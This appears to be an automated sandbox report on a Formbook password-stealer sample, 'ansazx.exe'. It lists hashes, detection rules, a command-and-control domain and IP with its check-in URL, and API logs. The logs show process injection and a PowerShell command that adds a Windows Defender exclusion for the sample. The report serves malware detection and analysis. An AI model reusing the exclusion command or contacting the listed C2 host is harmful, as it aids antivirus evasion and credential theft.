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ansazx.exe

Formbook Generic Malware Antivirus PWS AntiDebug PE32 PE File .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 June 27, 2023, 7:48 p.m. June 27, 2023, 7:57 p.m.
Size 610.5KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 1d132b7a35d336fc7b2aba2c52346f3f
SHA256 fa50f197e39eb37efdbd83462dd11e3057e45f88d9acb8b7e99c50c44c1936b7
CRC32 13887481
ssdeep 12288:UVpoPD6nPc839qzcD3SBW2/kBLpNtPimpdNj5py5hyXA:cpm0zDXZpL1pdnp4oQ
PDB Path CLbv.pdb
Yara
  • Is_DotNET_EXE - (no description)
  • IsPE32 - (no description)
  • PE_Header_Zero - PE File Signature

Name Response Post-Analysis Lookup
www.mymatam.com
CNAME mymatam.com
A 103.28.91.20
103.28.91.20
IP Address Status Action
103.28.91.20 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49167 -> 103.28.91.20:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 103.28.91.20:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 103.28.91.20:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: , script file, or operable program. Check the spelling of the name, or if a pat
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: h was included, verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:17
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + Add-MpPreference <<<< -ExclusionPath C:\Users\test22\AppData\Local\Temp\ansa
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: zx.exe
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: mmandNotFoundException
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000083
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380838
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380938
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003803f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003803f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003803f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380cb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380db8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00380538
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003811b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003811b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003811b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003811b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003811b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003811b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003811b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003811b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
pdb_path CLbv.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET http://www.mymatam.com/fg58/?KzrtE=WpDF5rR8GhL85HDW55HvY2UzFumc4+CxavBF5rgmPNYEZf40Rr2HPxuZ1925OstCFu5iCPlj&p0G=kJEPdT4hIPU4hj
request GET http://www.mymatam.com/fg58/?KzrtE=WpDF5rR8GhL85HDW55HvY2UzFumc4+CxavBF5rgmPNYEZf40Rr2HPxuZ1925OstCFu5iCPlj&p0G=kJEPdT4hIPU4hj
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 917504
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00560000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00600000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2584
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x727a1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2584
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x727a2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 1507328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00562000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00595000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0059b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00597000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0057c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0056a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0058a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00587000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0057a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0056c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2584
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x732e2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00586000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0456f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04560000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0057d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0057e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2584
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 1376256
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2964
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0262a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2964
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02622000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02632000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0265a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02633000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02634000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02667000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0262b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02652000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02665000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02635000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0265c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2964
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02930000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\ansazx.exe"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\ansazx.exe"
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\ansazx.exe"
filepath: powershell
1 1 0
section {u'size_of_data': u'0x00097a00', u'virtual_address': u'0x00002000', u'entropy': 7.584159689634782, u'name': u'.text', u'virtual_size': u'0x000978fc'} entropy 7.58415968963 description A section with a high entropy has been found
entropy 0.994262295082 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Used Formbook[m] rule Win_Trojan_Formbook_m_Zero
description PWS Memory rule Generic_PWS_Memory_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 3008
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000374
1 0 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELäGÅFà  Ò ðð@ð@.textÑÒ `
base_address: 0x00400000
process_identifier: 3008
process_handle: 0x00000374
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 3008
process_handle: 0x00000374
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELäGÅFà  Ò ðð@ð@.textÑÒ `
base_address: 0x00400000
process_identifier: 3008
process_handle: 0x00000374
1 1 0
Process injection Process 2584 called NtSetContextThread to modify thread in remote process 3008
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4321440
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000278
process_identifier: 3008
1 0 0
Process injection Process 2584 resumed a thread in remote process 3008
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000278
suspend_count: 1
process_identifier: 3008
1 0 0
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2584
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2584
1 0 0

NtResumeThread

 thread_handle: 0x0000018c
suspend_count: 1
process_identifier: 2584
1 0 0

NtResumeThread

 thread_handle: 0x00000264
suspend_count: 1
process_identifier: 2584
1 0 0

CreateProcessInternalW

 thread_identifier: 2968
thread_handle: 0x0000039c
process_identifier: 2964
current_directory: C:\Users\test22\AppData\Local\Temp
